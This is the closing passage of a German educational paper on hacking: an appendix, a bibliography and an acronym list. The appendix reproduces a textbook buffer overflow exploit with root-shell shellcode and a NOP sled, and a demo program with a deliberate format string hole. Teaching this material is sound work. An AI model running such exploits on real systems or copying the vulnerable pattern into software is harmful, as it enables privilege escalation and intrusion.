benötigten Programme. Da das System aus dem Jahr 2008 stammt und dementsprechend veraltete Sicherheitssysteme besitzt, ist ihm nur mit äusserster Vorsicht Internetzugriff zu gewähren. Die wichtigsten Programme sind im Folgenden abgedruckt.

A.1 exploit_notesearch.c

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4  char shellcode[]=
5  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7  "\xe1\xcd\x80";
8
9  int main(int argc, char *argv[]) {
10   unsigned int i, *ptr, ret, offset=270;
11   char *command, *buffer;
12
13   command = (char *) malloc(200);
14   bzero(command, 200); // zero out the new memory
15
16   strcpy(command, "./notesearch \'"); // start command buffer
17   buffer = command + strlen(command); // set buffer at the end
18
19   if(argc > 1) // set offset
20   offset = atoi(argv[1]);
21
22   ret = (unsigned int) &i - offset; // set return address
```

```
23
24   for(i=0; i < 160; i+=4) // fill buffer with return address
25   *((unsigned int *)(buffer+i)) = ret;
26   memset(buffer, 0x90, 60); // build NOP sled
27   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
28
29   strcat(command, "\'");
30
31   system(command); // run exploit
32   free(command);
33 }
```

A.2 fmt_vuln.c

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4
5  int main(int argc, char *argv[]) {
6    char text[1024];
7    static int test_val = -72;
8
9    if(argc < 2) {
10     printf("Usage: %s <text to print>\n", argv[0]);
11     exit(0);
12   }
13   strcpy(text, argv[1]);
14
15   printf("The right way to print user-controlled input:\n");
16   printf("%s", text);
17
18
19   printf("\nThe wrong way to print user-controlled input:\n");
20   printf(text);
21
22   printf("\n");
23
24   // Debug output
25   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val,
       test_val);
26
27   exit(0);
```

```
28 }
```

Literatur

[1] Jon Erickson. *Hacking: The Art of Exploitation*. 2nd. San Francisco, CA: No Starch Press, 2008. ISBN: 978-1-59327-144-2.

[2] Christian Stöcker. *Kleine Geschichte der Hackerkultur | Cybersicherheit | bpb.de*. https://www.bpb.de/shop/zeitschriften/apuz/cybersicherheit-2023/521304/kleine-geschichte-der-hackerkultur. Mai 2025.

[3] *HACKER | English meaning - Cambridge Dictionary*. https://dictionary.cambridge.org/dictionary/english/hacker. Okt. 2024.

[4] Jean Abeoussi. *White Hat and Black Hat - The thin line of ethics.edited*. Okt. 2019.

[5] *Black Hat-, White Hat- & Grey Hat-Hacker*. https://www.kaspersky.de/resource-center/definitions/hacker-hat-types.

[6] Autoren der Wikimedia-Projekte. *Script kiddie - Wikipedia*. [Online; aufgerufen am 25.12.2024]. URL: https://en.wikipedia.org/wiki/Script_kiddie.

[7] Autoren der Wikimedia-Projekte. *Bit – Wikipedia*. [Online; aufgerufen am 25.12.2024]. URL: https://de.wikipedia.org/wiki/Bit.

[8] Autoren der Wikimedia-Projekte. *Register (Prozessor) – Wikipedia*. [Online; aufgerufen am 25.12.2024]. URL: https://de.wikipedia.org/wiki/Register_(Prozessor).

[9] Sharon Lin. *Useful Registers in Assembly. As someone who occasionally… | by Sharon Lin | Medium*. [Online; aufgerufen am 25.12.2024]. Jan. 2019. URL: https://medium.com/@sharonlin/useful-registers-in-assembly-d9a9da22cdd9.

[10] Raúl Rojas. *Mathematik: Wie kommt der Zufall in den PC? - WELT*. [Online; accessed 2024-12-26]. Apr. 2008. URL: https://www.welt.de/wissenschaft/article1924410/Wie-kommt-der-Zufall-in-den-PC.html.

[11] *Stack vs Heap Memory - Simple Explanation - YouTube*. [Online; aufgerufen am 26.12.2024]. Nov. 2022. URL: https://www.youtube.com/watch?v=5OJRqkYbK-4&t=28s.

[12] *SO WIRD'S GEMACHT: Verwalten von Umgebungsvariablen in Windows XP - Microsoft-Support*. [Online; aufgerufen am 26.12.2024]. URL: https://support.microsoft.com/de-de/topic/so-wird-s-gemacht-verwalten-von-umgebungsvariablen-in-windows-xp-5bf6725b-655e-151c-0b55-9a8c9c7f747d.

[13] *Stack frame definition – Glossary | NordVPN*. [Online; aufgerufen am 26.12.2024]. Okt. 2023. URL: https://nordvpn.com/de/cybersecurity/glossary/stack-frame/.

[14] Contributors to Wikimedia projects. *OSI model - Wikipedia*. [Online; aufgerufen am 26.12.2024]. URL: https://en.wikipedia.org/wiki/OSI_model.

[15] Gavin Wright. *Was ist Port? - Definition von Computer Weekly*. [Online; aufgerufen am 30.12.2024]. Aug. 2024. URL: https://www.computerweekly.com/de/definition/Port.

[16] *What is ICMP (Internet Control Message Protocol)? | Fortinet*. [Online; aufgerufen am 26.12.2024]. URL: https://www.fortinet.com/resources/cyberglossary/internet-control-message-protocol-icmp.

[17] Contributors to Wikimedia projects. *HTTP - Wikipedia*. [Online; aufgerufen am 26.12.2024]. URL: https://en.wikipedia.org/wiki/HTTP.

[18] *HTTP versus HTTPS - Unterschied zwischen Übertragungsprotokollen - AWS*. [Online; aufgerufen am 26.12.2024]. URL: https://aws.amazon.com/de/compare/the-difference-between-https-and-http/.

[19] *What is the difference between POP and IMAP? - Microsoft Support*. [Online; aufgerufen am 26.12.2024]. URL: https://support.microsoft.com/en-us/office/what-is-the-difference-between-pop-and-imap-85c0e47f-931d-4035-b409-af3318b194a8.

[20] Autoren der Wikimedia-Projekte. *Socket – Wikipedia*. [Online; aufgerufen am 26.12.2024]. URL: https://de.wikipedia.org/wiki/Socket.

[21] Michiel Lemmens. *Stack Canaries – Gingerly Sidestepping the Cage | SANS Institute*. [Online; aufgerufen am 26.12.2024]. Feb. 2021. URL: https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/.

[22] Sharon Shea. *What is address space layout randomization (ASLR)? | Definition from TechTarget*. [Online; aufgerufen am 26.12.2024]. Juni 2014. URL: https://www.techtarget.com/searchsecurity/definition/address-space-layout-randomization-ASLR.

[23] *security - buffer overflow exploit example from "Hacking: The Art of Exploitation Stack Overflow*. [Online; aufgerufen am 27.12.2024]. Mai 2013. URL: https://stackoverflow.com/questions/16781308/buffer-overflow-exploit-example-from-hacking-the-art-of-exploitation.

[24] *BSI - Was ist ein virtuelles privates Netzwerk (VPN)?* [Online; aufgerufen am 30.12.2024]. URL: https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Informationen-und-Empfehlungen/Cyber-Sicherheitsempfehlungen/Router-WLAN-VPN/Virtual-Private-Networks-VPN/virtual-private-networks-vpn_node.html.

[25] *What is ARP Spoofing | ARP Cache Poisoning Attack Explained | Imperva*. [Online; aufgerufen am 30.12.2024]. URL: https://www.imperva.com/learn/application-security/arp-spoofing/.

[26] Heather Darnell Technical writer. *DDoS Attacks and the Internet of Things | DDoS-Guard*. [Online; aufgerufen am 01.01.2025]. Nov. 2024. URL: https://ddos-guard.net/blog/ddos-attacks-and-the-internet-of-things.

[27] Autoren der Wikimedia-Projekte. *Phishing – Wikipedia*. [Online; aufgerufen am 01.01.2025]. URL: https://de.wikipedia.org/wiki/Phishing.

[28] Autoren der Wikimedia-Projekte. *Schadprogramm – Wikipedia*. [Online; aufgerufen am 01.01.2025]. URL: https://de.wikipedia.org/wiki/Schadprogramm.

[29] *Malware vs. Virus vs. Worm: Was ist der Unterschied? | Fortinet*. [Online; aufgerufen am 01.01.2025]. URL: https://www.fortinet.com/de/resources/cyberglossary/malware-vs-virus-vs-worm.

[30] zbraiterman kingthorin zbraiterman. *SQL Injection | OWASP Foundation*. [Online; aufgerufen am 01.01.2025]. URL: https://owasp.org/www-community/attacks/SQL_Injection.

Akronyme

ACK Acknowledgement. 27

ARP Address Resolution Protocol. 15, 25, 26

ASLR Adress Space Layout Randomization. 18, 21

Bit binary digit. 8, 9, 15, 23, 27

CPU Central Processing Unit. 9, 13

DDoS Distributed Denial of Service. 27

DNS Domain Name System. 16

DoS Denial of Service. 26, 28

EBP Extended Base Pointer. 13, 14

EIP Extended Instruction Pointer. 13

ESP Extended Stack Pointer. 13

HDD Hard Disk Drive. 9

HTTP Hypertext Transfer Protocol. 16

HTTPS Hypertext Transfer Protocol Secure. 16

ICMP Internet Control Message Protocol. 15, 27

IP Internet Protocol. 14–16, 24, 26, 27

ISO International Organization for Standardization. 14, 31

IT Information Technology. 24

LIFO last-in-first-out. 13

MAC Media Access Control. 15, 26

MIT Massachusetts Institute of Technology. 6

MITM Man-in-the-Middle. 25

NOP no-operation. 18

OSI Open Systems Interconnection. 14, 16, 27

POP3 Post Office Protocol. 16, 24, 25

RAM Random Access Memory. 8, 9, 13, 17, 18, 21

SFP Saved Frame Pointer. 13

SQL Structured Query Language. 29

SSD Solid-State Drive. 9

SYN Synchronize Sequence Number. 27

TCP Transmission Control Protocol. 14, 16, 27

UDP User Datagramm Protocol. 15, 16

VPN Virtual Private Network. 24

WLAN Wireless Local Area Network. 25

WWW World Wide Web. 14, 16